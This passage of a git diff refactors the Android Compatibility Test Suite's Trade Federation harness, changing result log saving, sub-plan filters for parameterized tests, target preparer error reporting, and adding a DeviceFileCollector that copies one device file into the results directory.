+                mResult.countResults(TestStatus.FAIL),
+                moduleProgress);
     }
 
     /**
@@ -537,12 +551,16 @@
             return;
         }
         try {
-            LogFileSaver saver = new LogFileSaver(mLogDir);
-            File logFile = saver.saveAndZipLogData(name, type, stream.createInputStream());
-            info("Saved logs for %s in %s", name, logFile.getAbsolutePath());
+            File logFile = null;
+            if (mCompressLogs) {
+                logFile = mTestLogSaver.saveAndGZipLogData(name, type, stream.createInputStream());
+            } else {
+                logFile = mTestLogSaver.saveLogData(name, type, stream.createInputStream());
+            }
+            debug("Saved logs for %s in %s", name, logFile.getAbsolutePath());
         } catch (IOException e) {
             warn("Failed to write log for %s", name);
-            e.printStackTrace();
+            CLog.e(e);
         }
     }
 
@@ -584,9 +602,11 @@
         }
 
         FileInputStream fis = null;
+        LogFile logFile = null;
         try {
             fis = new FileInputStream(resultFile);
-            mLogSaver.saveLogData("log-result", LogDataType.XML, fis);
+            logFile = mLogSaver.saveLogData("log-result", LogDataType.XML, fis);
+            debug("Result XML URL: %s", logFile.getUrl());
         } catch (IOException ioe) {
             CLog.e("[%s] error saving XML with log saver", mDeviceSerial);
             CLog.e(ioe);
@@ -598,7 +618,8 @@
             FileInputStream zipResultStream = null;
             try {
                 zipResultStream = new FileInputStream(zippedResults);
-                mLogSaver.saveLogData("results", LogDataType.ZIP, zipResultStream);
+                logFile = mLogSaver.saveLogData("results", LogDataType.ZIP, zipResultStream);
+                debug("Result zip URL: %s", logFile.getUrl());
             } finally {
                 StreamUtil.close(zipResultStream);
             }
@@ -635,10 +656,10 @@
     /**
      * When enabled, upload the result to a server.
      */
-    private void uploadResult(File resultFile) throws IOException {
+    private void uploadResult(File resultFile) {
         if (mResultServer != null && !mResultServer.trim().isEmpty() && !mDisableResultPosting) {
             try {
-                info("Result Server: %d", mUploader.uploadResult(resultFile, mReferenceUrl));
+                debug("Result Server: %d", mUploader.uploadResult(resultFile, mReferenceUrl));
             } catch (IOException ioe) {
                 CLog.e("[%s] IOException while uploading result.", mDeviceSerial);
                 CLog.e(ioe);
@@ -779,6 +800,13 @@
     }
 
     /**
+     *  Log debug to the console.
+     */
+    private static void debug(String format, Object... args) {
+        log(LogLevel.DEBUG, format, args);
+    }
+
+    /**
      *  Log a warning to the console.
      */
     private static void warn(String format, Object... args) {
@@ -793,9 +821,18 @@
     }
 
     /**
-     * For testing
+     * For testing purpose.
      */
-    IInvocationResult getResult() {
+    @VisibleForTesting
+    public IInvocationResult getResult() {
         return mResult;
     }
+
+    /**
+     * Returns true if the reporter is finalized before the end of the timeout. False otherwise.
+     */
+    @VisibleForTesting
+    public boolean waitForFinalized(long timeout, TimeUnit unit) throws InterruptedException {
+        return mFinalized.await(timeout, unit);
+    }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java
index 950a129..fbb0694 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/SubPlanHelper.java
@@ -36,6 +36,8 @@
 import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
 import com.android.tradefed.util.StreamUtil;
 
+import com.google.common.annotations.VisibleForTesting;
+
 import java.io.BufferedOutputStream;
 import java.io.File;
 import java.io.FileInputStream;
@@ -58,6 +60,9 @@
 
     private static final String XML_EXT = ".xml";
 
+    // string signalling the beginning of the parameter in a test name
+    private static final String PARAM_START = "[";
+
     // result types
     public static final String PASSED = "passed";
     public static final String FAILED = "failed";
@@ -210,7 +215,7 @@
         subPlan.addAllIncludeFilters(mIncludeFilters);
         subPlan.addAllExcludeFilters(mExcludeFilters);
         if (mModuleName != null) {
-            subPlan.addIncludeFilter(new TestFilter(mAbiName, mModuleName, mTestName).toString());
+            addIncludeToSubPlan(subPlan, new TestFilter(mAbiName, mModuleName, mTestName));
         }
         Set<TestStatus> statusesToRun = getStatusesToRun();
         for (IModuleResult module : mResult.getModules()) {
@@ -219,16 +224,16 @@
                             new TestFilter(module.getAbi(), module.getName(), null /*test*/);
                 if (shouldRunEntireModule(module)) {
                     // include entire module
-                    subPlan.addIncludeFilter(moduleInclude.toString());
+                    addIncludeToSubPlan(subPlan, moduleInclude);
                 } else if (mResultTypes.contains(NOT_EXECUTED) && !module.isDone()) {
                     // add module include and test excludes
-                    subPlan.addIncludeFilter(moduleInclude.toString());
+                    addIncludeToSubPlan(subPlan, moduleInclude);
                     for (ICaseResult caseResult : module.getResults()) {
                         for (ITestResult testResult : caseResult.getResults()) {
                             if (!statusesToRun.contains(testResult.getResultStatus())) {
                                 TestFilter testExclude = new TestFilter(module.getAbi(),
                                         module.getName(), testResult.getFullName());
-                                subPlan.addExcludeFilter(testExclude.toString());
+                                addExcludeToSubPlan(subPlan, testExclude);
                             }
                         }
                     }
@@ -240,7 +245,7 @@
                             if (statusesToRun.contains(testResult.getResultStatus())) {
                                 TestFilter testInclude = new TestFilter(module.getAbi(),
                                         module.getName(), testResult.getFullName());
-                                subPlan.addIncludeFilter(testInclude.toString());
+                                addIncludeToSubPlan(subPlan, testInclude);
                             }
                         }
                     }
@@ -249,13 +254,47 @@
                 // module should not run, exclude entire module
                 TestFilter moduleExclude =
                         new TestFilter(module.getAbi(), module.getName(), null /*test*/);
-                subPlan.addExcludeFilter(moduleExclude.toString());
+                addExcludeToSubPlan(subPlan, moduleExclude);
             }
         }
         return subPlan;
     }
 
     /**
+     * Add the include test filter to the subplan. For filters that specify the parameters of a
+     * test, strip the parameter suffix and add the include, which will run the test with all
+     * parameters. If JUnit test runners are extended to handle filtering by parameter, this
+     * special case may be removed.
+     */
+    @VisibleForTesting
+    static void addIncludeToSubPlan(ISubPlan subPlan, TestFilter include) {
+        String test = include.getTest();
+        String str = include.toString();
+        if (test == null || !test.contains(PARAM_START)) {
+            subPlan.addIncludeFilter(str);
+        } else if (test.contains(PARAM_START)) {
+            // filter applies to parameterized test, include test without parameter.
+            subPlan.addIncludeFilter(str.substring(0, str.lastIndexOf(PARAM_START)));
+        }
+    }
+
+    /**
+     * Add the exclude test filter to the subplan. For filters that specify the parameters of a
+     * test, do not add the exclude filter. This will prompt the test to run again with all
+     * parameters. If JUnit test runners are extended to handle filtering by parameter, this
+     * special case may be removed.
+     */
+    @VisibleForTesting
+    static void addExcludeToSubPlan(ISubPlan subPlan, TestFilter exclude) {
+        String test = exclude.getTest();
+        String str = exclude.toString();
+        if (test == null || !test.contains(PARAM_START)) {
+            subPlan.addExcludeFilter(str);
+        }
+        // don't add exclude for parameterized test, as runners do not support this.
+    }
+
+    /**
      * Whether any tests within the given {@link IModuleResult} should be run, based on
      * the content of mResultTypes.
      * @param module
@@ -307,7 +346,7 @@
         Set<TestStatus> statusesToRun = new HashSet<TestStatus>();
         for (String resultType : mResultTypes) {
             // no test status exists for not-executed tests
-            if (resultType != NOT_EXECUTED) {
+            if (!NOT_EXECUTED.equals(resultType)) {
                 statusesToRun.add(STATUS_MAP.get(resultType));
             }
         }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ApkInstaller.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ApkInstaller.java
index 7773d7d..9d7248a 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ApkInstaller.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ApkInstaller.java
@@ -18,6 +18,7 @@
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.OptionClass;
+import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.targetprep.TargetSetupError;
 import com.android.tradefed.targetprep.TestAppInstallSetup;
 
@@ -43,8 +44,8 @@
      * {@inheritDoc}
      */
     @Override
-    protected File getLocalPathForFilename(IBuildInfo buildInfo, String apkFileName)
-            throws TargetSetupError {
+    protected File getLocalPathForFilename(IBuildInfo buildInfo, String apkFileName,
+            ITestDevice device) throws TargetSetupError {
         File apkFile = null;
         try {
             apkFile = new File(getTestsDir(buildInfo), apkFileName);
@@ -52,7 +53,8 @@
                 throw new FileNotFoundException();
             }
         } catch (FileNotFoundException e) {
-            throw new TargetSetupError(String.format("%s not found", apkFileName), e);
+            throw new TargetSetupError(String.format("%s not found", apkFileName), e,
+                    device.getDeviceDescriptor());
         }
         return apkFile;
     }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ApkInstrumentationPreparer.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ApkInstrumentationPreparer.java
index 72fe373..623eb67 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ApkInstrumentationPreparer.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ApkInstrumentationPreparer.java
@@ -17,14 +17,13 @@
 package com.android.compatibility.common.tradefed.targetprep;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.tradefed.util.NoOpTestInvocationListener;
 import com.android.ddmlib.testrunner.TestIdentifier;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.Option;
-import com.android.tradefed.config.Option.Importance;
 import com.android.tradefed.config.OptionClass;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.result.ITestInvocationListener;
 import com.android.tradefed.targetprep.BuildError;
 import com.android.tradefed.targetprep.ITargetCleaner;
@@ -33,8 +32,6 @@
 
 import java.io.File;
 import java.io.FileNotFoundException;
-import java.util.ArrayList;
-import java.util.List;
 import java.util.Map;
 import java.util.concurrent.ConcurrentHashMap;
 
@@ -54,12 +51,12 @@
         BEFORE, AFTER, BOTH;
     }
 
-    @Option(name = "throw-error", description = "Whether to throw error for device test failure")
-    protected boolean mThrowError = true;
-
     @Option(name = "when", description = "When to instrument the apk", mandatory = true)
     protected When mWhen = null;
 
+    @Option(name = "throw-error", description = "Whether to throw error for device test failure")
+    protected boolean mThrowError = true;
+
     protected ConcurrentHashMap<TestIdentifier, Map<String, String>> testMetrics =
             new ConcurrentHashMap<>();
     private ConcurrentHashMap<TestIdentifier, String> testFailures = new ConcurrentHashMap<>();
@@ -75,12 +72,14 @@
         }
         try {
             if (instrument(device, buildInfo)) {
-                logInfo("Target preparation successful");
+                CLog.d("Target preparation successful");
             } else if (mThrowError) {
-                throw new TargetSetupError("Not all target preparation steps completed");
+                throw new TargetSetupError("Not all target preparation steps completed",
+                        device.getDeviceDescriptor());
             }
         } catch (FileNotFoundException e) {
-            throw new TargetSetupError("Couldn't find apk to instrument", e);
+            throw new TargetSetupError("Couldn't find apk to instrument", e,
+                    device.getDeviceDescriptor());
         }
     }
 
@@ -120,7 +119,7 @@
             device.uninstallPackage(mPackageName);
         }
 
-        logInfo("Instrumenting package %s:", mPackageName);
+        logInfo("Instrumenting package: %s", mPackageName);
         AndroidJUnitTest instrTest = new AndroidJUnitTest();
         instrTest.setDevice(device);
         instrTest.setInstallFile(apkFile);
@@ -142,7 +141,7 @@
         return success;
     }
 
-    public class TargetPreparerListener extends NoOpTestInvocationListener {
+    private class TargetPreparerListener implements ITestInvocationListener {
 
         @Override
         public void testEnded(TestIdentifier test, Map<String, String> metrics) {
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DeviceFileCollector.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DeviceFileCollector.java
new file mode 100644
index 0000000..0e8426f
--- /dev/null
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DeviceFileCollector.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.tradefed.targetprep;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.Option;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import java.nio.file.Paths;
+import java.io.File;
+import java.io.FileNotFoundException;
+
+/**
+ * An {@link PreconditionPreparer} that collects one device file.
+ */
+public class DeviceFileCollector extends PreconditionPreparer {
+
+    @Option(name = CompatibilityTest.SKIP_DEVICE_INFO_OPTION,
+            shortName = 'd',
+            description = "Whether device info collection should be skipped")
+    private boolean mSkipDeviceInfo = false;
+
+    @Option(name= "src-file", description = "The file path to copy to the results dir")
+    private String mSrcFile;
+
+    @Option(name = "dest-file", description = "The destination file path under the result")
+    private String mDestFile;
+
+    private File mResultFile;
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void run(ITestDevice device, IBuildInfo buildInfo) {
+        if (mSkipDeviceInfo)
+            return;
+
+        createResultDir(buildInfo);
+        if (mResultFile != null && !mResultFile.isDirectory() &&
+            mSrcFile != null && !mSrcFile.isEmpty()) {
+
+            try {
+                if (device.doesFileExist(mSrcFile)) {
+                    device.pullFile(mSrcFile, mResultFile);
+                } else {
+                    CLog.w(String.format("File does not exist on device: \"%s\"", mSrcFile));
+                }
+            } catch (DeviceNotAvailableException e) {
+                CLog.e("Caught exception during pull.");
+                CLog.e(e);
+            }
+        }
+    }
+
+    private void createResultDir(IBuildInfo buildInfo) {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(buildInfo);
+        try {
+            File resultDir = buildHelper.getResultDir();
+            if (mDestFile == null || mDestFile.isEmpty()) {
+                mDestFile = Paths.get(mSrcFile).getFileName().toString();
+            }
+            mResultFile = Paths.get(resultDir.getAbsolutePath(), mDestFile).toFile();
+            resultDir = mResultFile.getParentFile();
+            resultDir.mkdirs();
+            if (!resultDir.isDirectory()) {
+                CLog.e("%s is not a directory", resultDir.getAbsolutePath());
+                return;
+            }
+        } catch (FileNotFoundException fnfe) {
+            fnfe.printStackTrace();
+        }
+    }
+}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DeviceInfoCollector.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DeviceInfoCollector.java
index 0805b31..d48e9f6 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DeviceInfoCollector.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DeviceInfoCollector.java
@@ -31,8 +31,6 @@
 
 import java.io.File;
 import java.io.FileNotFoundException;
-import java.util.HashMap;
-import java.util.Map;
 import java.util.Map.Entry;
 
 /**
@@ -61,6 +59,7 @@
     private static final String VERSION_RELEASE = "ro.build.version.release";
     private static final String VERSION_SDK = "ro.build.version.sdk";
     private static final String VERSION_SECURITY_PATCH = "ro.build.version.security_patch";
+    private static final String VERSION_INCREMENTAL = "ro.build.version.incremental";
 
     private static final String PREFIX_TAG = "cts:build_";
 
@@ -94,13 +93,13 @@
         DevicePropertyInfo devicePropertyInfo = new DevicePropertyInfo(ABI, ABI2, ABIS, ABIS_32,
                 ABIS_64, BOARD, BRAND, DEVICE, FINGERPRINT, ID, MANUFACTURER, MODEL, PRODUCT,
                 REFERENCE_FINGERPRINT, SERIAL, TAGS, TYPE, VERSION_BASE_OS, VERSION_RELEASE,
-                VERSION_SDK, VERSION_SECURITY_PATCH);
+                VERSION_SDK, VERSION_SECURITY_PATCH, VERSION_INCREMENTAL);
 
         // add device properties to the result with a prefix tag for each key
         for (Entry<String, String> entry :
                 devicePropertyInfo.getPropertytMapWithPrefix(PREFIX_TAG).entrySet()) {
-            buildInfo.addBuildAttribute(entry.getKey(),
-                    nullToEmpty(device.getProperty(entry.getValue())));
+            buildInfo.addBuildAttribute(
+                    entry.getKey(), nullToEmpty(device.getProperty(entry.getValue())));
         }
         if (mSkipDeviceInfo) {
             return;
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java
index a422525..d64c210 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java
@@ -50,6 +50,7 @@
     }
 
     private static final String LOG_TAG = DynamicConfigPusher.class.getSimpleName();
+    private static final String TMP_FOLDER_DYNAMIC_FILES = "dynamic-config-files";
 
     @Option(name = "cleanup", description = "Whether to remove config files from the test " +
             "target after test completion.")
@@ -65,7 +66,7 @@
 
     @Option(name = "version", description = "The version of the configuration to retrieve " +
             "from the server, e.g. \"1.0\". Defaults to suite version string.")
-    private static String mVersion;
+    private String mVersion;
 
 
     private String mFilePushed;
@@ -87,8 +88,8 @@
         try {
             localConfigFile = DynamicConfig.getConfigFile(buildHelper.getTestsDir(), mModuleName);
         } catch (FileNotFoundException e) {
-            throw new TargetSetupError(
-                    "Cannot get local dynamic config file from test directory", e);
+            throw new TargetSetupError("Cannot get local dynamic config file from test directory",
+                    e, device.getDeviceDescriptor());
         }
 
         if (mVersion == null) {
@@ -119,7 +120,8 @@
             src = DynamicConfigHandler.getMergedDynamicConfigFile(
                     localConfigFile, apfeConfigInJson, mModuleName);
         } catch (IOException | XmlPullParserException | JSONException e) {
-            throw new TargetSetupError("Cannot get merged dynamic config file", e);
+            throw new TargetSetupError("Cannot get merged dynamic config file", e,
+                    device.getDeviceDescriptor());
         }
 
         switch (mTarget) {
@@ -128,7 +130,7 @@
                 if (!device.pushFile(src, deviceDest)) {
                     throw new TargetSetupError(String.format(
                             "Failed to push local '%s' to remote '%s'",
-                            src.getAbsolutePath(), deviceDest));
+                            src.getAbsolutePath(), deviceDest), device.getDeviceDescriptor());
                 } else {
                     mFilePushed = deviceDest;
                     buildHelper.addDynamicConfigFile(mModuleName, src);
@@ -136,18 +138,22 @@
                 break;
 
             case HOST:
-                File storageDir = new File(DynamicConfig.CONFIG_FOLDER_ON_HOST);
-                if (!storageDir.exists()) {
-                    storageDir.mkdir();
+                File storageDir = null;
+                try {
+                    storageDir = FileUtil.createTempDir(TMP_FOLDER_DYNAMIC_FILES);
+                } catch (IOException e) {
+                    throw new TargetSetupError("Fail to create a tmp folder for dynamic config "
+                            + "files", e, device.getDeviceDescriptor());
                 }
-                File hostDest = new File(DynamicConfig.CONFIG_FOLDER_ON_HOST + src.getName());
+                File hostDest = new File(storageDir, src.getName());
                 try {
                     FileUtil.copyFile(src, hostDest);
                 } catch (IOException e) {
                     throw new TargetSetupError(String.format("Failed to copy file from %s to %s",
-                            src.getAbsolutePath(), hostDest.getAbsolutePath()), e);
+                            src.getAbsolutePath(), hostDest.getAbsolutePath()), e,
+                            device.getDeviceDescriptor());
                 }
-                mFilePushed = hostDest.getAbsolutePath();
+                mFilePushed = storageDir.getAbsolutePath();
                 buildHelper.addDynamicConfigFile(mModuleName, src);
                 break;
         }
@@ -167,9 +173,8 @@
                 }
                 break;
             case HOST:
-                if (mFilePushed != null) {
-                    FileUtil.deleteFile(new File(mFilePushed));
-                }
+                FileUtil.recursiveDelete(new File(mFilePushed));
+                break;
         }
     }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/FilePusher.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/FilePusher.java
index 70dc125..3eb93d4 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/FilePusher.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/FilePusher.java
@@ -61,6 +61,14 @@
      * {@inheritDoc}
      */
     @Override
+    public IAbi getAbi() {
+        return mAbi;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
     public File resolveRelativeFilePath(IBuildInfo buildInfo, String fileName) {
         try {
             File f = new File(getTestsDir(buildInfo),
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/LocationCheck.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/LocationCheck.java
index 94bc64f..548dd6f8 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/LocationCheck.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/LocationCheck.java
@@ -16,7 +16,6 @@
 package com.android.compatibility.common.tradefed.targetprep;
 
 import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.config.Option;
 import com.android.tradefed.config.OptionClass;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/NetworkConnectivityChecker.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/NetworkConnectivityChecker.java
index e8043e9..8e038fb 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/NetworkConnectivityChecker.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/NetworkConnectivityChecker.java
@@ -19,11 +19,16 @@
 import com.android.compatibility.common.util.MonitoringUtils;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.suite.checker.ISystemStatusChecker;
 
 /**
  * Checks network connectivity status on device after module execution.
  */
-public class NetworkConnectivityChecker extends SystemStatusChecker {
+public class NetworkConnectivityChecker implements ISystemStatusChecker {
+
+    // Only report is as failed (capture bugreport) when status goes from pass-> fail
+    private boolean mIsFailed = false;
 
     /**
      * {@inheritDoc}
@@ -31,9 +36,15 @@
     @Override
     public boolean postExecutionCheck(ITestDevice device) throws DeviceNotAvailableException {
         if (!MonitoringUtils.checkDeviceConnectivity(device)) {
-            setFailureMessage("failed network connectivity check");
+            if (mIsFailed) {
+                CLog.w("NetworkConnectivityChecker is still failing on %s.",
+                        device.getSerialNumber());
+                return true;
+            }
+            mIsFailed = true;
             return false;
         }
+        mIsFailed = false;
         return true;
     }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/PreconditionPreparer.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/PreconditionPreparer.java
index 27ef658..d47b56c 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/PreconditionPreparer.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/PreconditionPreparer.java
@@ -49,7 +49,7 @@
                     + "\"<arg-name>:<arg-value>\"")
     private List<String> mPreconditionArgs = new ArrayList<>();
 
-    protected final String LOG_TAG = getClass().getSimpleName();
+    protected final String mLogTag = getClass().getSimpleName();
 
     @Override
     public void setUp(ITestDevice device, IBuildInfo buildInfo) throws TargetSetupError,
@@ -80,32 +80,32 @@
             throws TargetSetupError, BuildError, DeviceNotAvailableException;
 
     protected void logInfo(String info) {
-        LogUtil.printLog(Log.LogLevel.INFO, LOG_TAG, info);
+        LogUtil.printLog(Log.LogLevel.INFO, mLogTag, info);
     }
 
     protected void logInfo(String infoFormat, Object... args) {
-        LogUtil.printLog(Log.LogLevel.INFO, LOG_TAG, String.format(infoFormat, args));
+        LogUtil.printLog(Log.LogLevel.INFO, mLogTag, String.format(infoFormat, args));
     }
 
     protected void logWarning(String warning) {
-        LogUtil.printLog(Log.LogLevel.WARN, LOG_TAG, warning);
+        LogUtil.printLog(Log.LogLevel.WARN, mLogTag, warning);
     }
 
     protected void logWarning(String warningFormat, Object... args) {
-        LogUtil.printLog(Log.LogLevel.WARN, LOG_TAG, String.format(warningFormat, args));
+        LogUtil.printLog(Log.LogLevel.WARN, mLogTag, String.format(warningFormat, args));
     }
 
     protected void logError(String error) {
-        LogUtil.printLog(Log.LogLevel.ERROR, LOG_TAG, error);
+        LogUtil.printLog(Log.LogLevel.ERROR, mLogTag, error);
     }
 
     protected void logError(String errorFormat, Object... args) {
-        LogUtil.printLog(Log.LogLevel.ERROR, LOG_TAG, String.format(errorFormat, args));
+        LogUtil.printLog(Log.LogLevel.ERROR, mLogTag, String.format(errorFormat, args));
     }
 
     protected void logError(Throwable t) {
         if (t != null) {
-            Log.e(LOG_TAG, t);
+            Log.e(mLogTag, t);
         }
     }
 
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/PropertyCheck.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/PropertyCheck.java
index 79f19d0..192c095 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/PropertyCheck.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/PropertyCheck.java
@@ -41,8 +41,6 @@
             description = "Whether to throw an error for an unexpected property value")
     protected boolean mThrowError = false;
 
-    private static final String LOG_TAG = PropertyCheck.class.getSimpleName();
-
     @Override
     public void run(ITestDevice device, IBuildInfo buildInfo) throws TargetSetupError,
             BuildError, DeviceNotAvailableException {
@@ -59,7 +57,7 @@
                     mExpectedPropertyValue, propertyValue, mPropertyName);
             // Handle unexpected property value with either exception or warning
             if(mThrowError) {
-                throw new TargetSetupError(msg);
+                throw new TargetSetupError(msg, device.getDeviceDescriptor());
             } else {
                 logWarning(msg);
             }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ReportLogCollector.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ReportLogCollector.java
index ccb9faf..7ea48c2 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ReportLogCollector.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ReportLogCollector.java
@@ -50,14 +50,10 @@
 
     @Override
     public void setUp(ITestDevice device, IBuildInfo buildInfo) throws TargetSetupError,
-        BuildError, DeviceNotAvailableException {
+            BuildError, DeviceNotAvailableException {
         prepareReportLogContainers(device, buildInfo);
     }
 
-    private void addBuildInfo(ITestDevice device, IBuildInfo buildInfo, String key, String value)
-        throws DeviceNotAvailableException {
-    }
-
     private void prepareReportLogContainers(ITestDevice device, IBuildInfo buildInfo) {
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(buildInfo);
         try {
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/SettingsPreparer.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/SettingsPreparer.java
index d4c9d54..79151f5 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/SettingsPreparer.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/SettingsPreparer.java
@@ -20,6 +20,7 @@
 import com.android.tradefed.config.OptionClass;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.targetprep.BuildError;
 import com.android.tradefed.targetprep.TargetSetupError;
 
@@ -64,18 +65,18 @@
 
         if (mSettingName == null) {
             throw new TargetSetupError("The \"device-setting\" option must be defined for the " +
-                    "SettingsPreparer class");
+                    "SettingsPreparer class", device.getDeviceDescriptor());
         }
 
         if (mSettingType == null) {
             throw new TargetSetupError("The \"setting-type\" option must be defined for the " +
-                    "SettingsPreparer class");
+                    "SettingsPreparer class", device.getDeviceDescriptor());
         }
 
         /* At least one of the options "set-value" and "expected-values" must be set */
         if (mSetValue == null && mExpectedSettingValues.isEmpty()) {
             throw new TargetSetupError("At least one of the options \"set-value\" and " +
-                    "\"expected-values\" must be set");
+                    "\"expected-values\" must be set", device.getDeviceDescriptor());
         }
 
         String shellCmdGet = (!mExpectedSettingValues.isEmpty()) ?
@@ -90,12 +91,13 @@
             if (!mExpectedSettingValues.contains(mSetValue)) {
                 throw new TargetSetupError(String.format(
                         "set-value for %s is %s, but value not found in expected-values: %s",
-                        mSettingName, mSetValue, mExpectedSettingValues.toString()));
+                        mSettingName, mSetValue, mExpectedSettingValues.toString()),
+                        device.getDeviceDescriptor());
             }
             String currentSettingValue = device.executeShellCommand(shellCmdGet).trim();
             // only change unexpected setting value
             if (!mExpectedSettingValues.contains(currentSettingValue)) {
-                logInfo("Changing value for %s from %s to %s",
+                CLog.d("Changing value for %s from %s to %s",
                         mSettingName, currentSettingValue, mSetValue);
                 device.executeShellCommand(shellCmdPut);
             }
@@ -104,7 +106,7 @@
 
         /* Case 2: Only set-value given */
         if (mSetValue != null) {
-            logInfo("Setting %s to value %s", mSettingName, mSetValue);
+            CLog.d("Setting %s to value %s", mSettingName, mSetValue);
             device.executeShellCommand(shellCmdPut);
             return;
         }
@@ -117,7 +119,7 @@
                         "Device setting \"%s\" returned \"%s\", not found in %s",
                         mSettingName, currentSettingValue, mExpectedSettingValues.toString());
             }
-            throw new TargetSetupError(mFailureMessage);
+            throw new TargetSetupError(mFailureMessage, device.getDeviceDescriptor());
         }
     }
 
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/StayAwakePreparer.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/StayAwakePreparer.java
